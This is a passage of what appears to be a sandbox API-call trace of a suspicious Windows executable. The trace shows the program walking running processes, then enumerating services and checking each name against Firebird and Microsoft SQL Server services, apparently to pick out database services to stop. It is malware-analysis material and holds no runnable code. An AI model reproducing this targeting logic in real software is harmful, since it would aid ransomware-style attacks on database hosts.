[0149.097] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.098] lstrlenW (lpString="svchost.exe") returned 11 [0149.098] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.098] lstrlenW (lpString="svchost.exe") returned 11 [0149.098] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0149.099] lstrlenW (lpString="audiodg.exe") returned 11 [0149.099] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.099] lstrlenW (lpString="svchost.exe") returned 11 [0149.099] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.099] lstrlenW (lpString="svchost.exe") returned 11 [0149.100] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0149.100] lstrlenW (lpString="spoolsv.exe") returned 11 [0149.100] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0149.101] lstrlenW (lpString="taskhost.exe") returned 12 [0149.101] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.101] lstrlenW (lpString="svchost.exe") returned 11 [0149.101] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0149.102] lstrlenW (lpString="userinit.exe") returned 12 [0149.102] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0149.102] lstrlenW (lpString="dwm.exe") returned 7 [0149.102] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0149.103] lstrlenW (lpString="explorer.exe") returned 12 [0149.103] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0149.103] lstrlenW (lpString="3G6885.exe") returned 10 [0149.103] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0149.104] lstrlenW (lpString="reader_sl.exe") returned 13 [0149.104] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0149.104] lstrlenW (lpString="drvinst.exe") returned 11 [0149.105] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0149.105] lstrlenW (lpString="taskhost.exe") returned 12 [0149.105] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0149.105] CloseHandle (hObject=0x360) returned 1 [0149.105] Sleep (dwMilliseconds=0x1f4) [0149.785] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8b08 [0149.785] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0149.785] GetLastError () returned 0xea [0149.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x113e) returned 0x41f77d0 [0149.786] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x113e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0149.787] CloseServiceHandle (hSCObject=0x41d8b08) returned 1 [0149.787] lstrlenW (lpString="Appinfo") returned 7 [0149.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0149.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0149.787] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0149.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0149.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0149.787] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0149.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0149.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0149.787] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0149.787] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0149.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0149.787] lstrlenW (lpString="AudioSrv") returned 8 [0149.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0149.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0149.787] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0149.787] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0149.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0149.787] lstrlenW (lpString="BFE") returned 3 [0149.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0149.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0149.788] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0149.788] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0149.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0149.788] lstrlenW (lpString="CryptSvc") returned 8 [0149.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0149.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0149.788] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0149.788] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0149.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0149.788] lstrlenW (lpString="CscService") returned 10 [0149.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0149.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0149.788] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0149.788] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0149.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0149.788] lstrlenW (lpString="DcomLaunch") returned 10 [0149.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.788] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0149.788] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0149.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0149.788] lstrlenW (lpString="Dhcp") returned 4 [0149.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0149.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0149.788] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0149.788] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0149.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0149.789] lstrlenW (lpString="Dnscache") returned 8 [0149.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0149.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0149.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0149.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0149.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0149.789] lstrlenW (lpString="DPS") returned 3 [0149.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0149.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0149.789] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0149.789] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0149.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0149.789] lstrlenW (lpString="eventlog") returned 8 [0149.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0149.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0149.789] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0149.789] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0149.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0149.789] lstrlenW (lpString="EventSystem") returned 11 [0149.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0149.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0149.789] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0149.789] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0149.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0149.789] lstrlenW (lpString="gpsvc") returned 5 [0149.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0149.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0149.790] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0149.790] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0149.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0149.790] lstrlenW (lpString="iphlpsvc") returned 8 [0149.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0149.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0149.790] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0149.790] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0149.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0149.790] lstrlenW (lpString="LanmanServer") returned 12 [0149.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0149.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0149.790] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0149.790] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0149.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0149.790] lstrlenW (lpString="LanmanWorkstation") returned 17 [0149.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.790] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0149.790] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0149.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0149.791] lstrlenW (lpString="lmhosts") returned 7 [0149.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0149.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0149.791] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0149.791] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0149.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0149.791] lstrlenW (lpString="MMCSS") returned 5 [0149.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0149.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0149.791] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0149.791] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0149.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0149.791] lstrlenW (lpString="MpsSvc") returned 6 [0149.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0149.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0149.791] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0149.791] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0149.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0149.791] lstrlenW (lpString="Netman") returned 6 [0149.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0149.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0149.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0149.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0149.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0149.791] lstrlenW (lpString="netprofm") returned 8 [0149.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0149.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0149.792] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0149.792] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0149.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0149.792] lstrlenW (lpString="NlaSvc") returned 6 [0149.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0149.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0149.792] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0149.792] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0149.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0149.792] lstrlenW (lpString="nsi") returned 3 [0149.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0149.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0149.792] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0149.792] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0149.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0149.792] lstrlenW (lpString="PcaSvc") returned 6 [0149.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0149.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0149.792] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0149.792] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0149.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0149.792] lstrlenW (lpString="PlugPlay") returned 8 [0149.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0149.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0149.793] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0149.793] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0149.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0149.793] lstrlenW (lpString="Power") returned 5 [0149.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0149.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0149.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0149.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0149.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0149.793] lstrlenW (lpString="ProfSvc") returned 7 [0149.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0149.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0149.793] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0149.793] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0149.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0149.793] lstrlenW (lpString="RpcEptMapper") returned 12 [0149.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.793] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0149.793] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0149.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0149.793] lstrlenW (lpString="RpcSs") returned 5 [0149.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0149.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0149.793] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0149.793] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0149.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0149.794] lstrlenW (lpString="SamSs") returned 5 [0149.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0149.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0149.794] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0149.794] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0149.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0149.794] lstrlenW (lpString="Schedule") returned 8 [0149.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0149.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0149.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0149.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0149.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0149.794] lstrlenW (lpString="SENS") returned 4 [0149.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0149.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0149.794] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0149.794] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0149.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0149.794] lstrlenW (lpString="ShellHWDetection") returned 16 [0149.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.794] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0149.794] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0149.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0149.794] lstrlenW (lpString="Spooler") returned 7 [0149.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0149.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0149.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0149.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0149.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0149.795] lstrlenW (lpString="SysMain") returned 7 [0149.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0149.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0149.795] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0149.795] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0149.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0149.795] lstrlenW (lpString="Themes") returned 6 [0149.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0149.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0149.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0149.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0149.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0149.795] lstrlenW (lpString="TrkWks") returned 6 [0149.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0149.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0149.795] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0149.795] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0149.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0149.795] lstrlenW (lpString="UxSms") returned 5 [0149.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0149.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0149.796] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0149.796] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0149.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0149.796] lstrlenW (lpString="WdiServiceHost") returned 14 [0149.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0149.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0149.796] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0149.796] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0149.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0149.796] lstrlenW (lpString="WdiSystemHost") returned 13 [0149.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0149.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0149.796] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0149.796] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0149.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0149.796] lstrlenW (lpString="Winmgmt") returned 7 [0149.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0149.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0149.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0149.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0149.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0149.796] lstrlenW (lpString="WPDBusEnum") returned 10 [0149.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0149.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 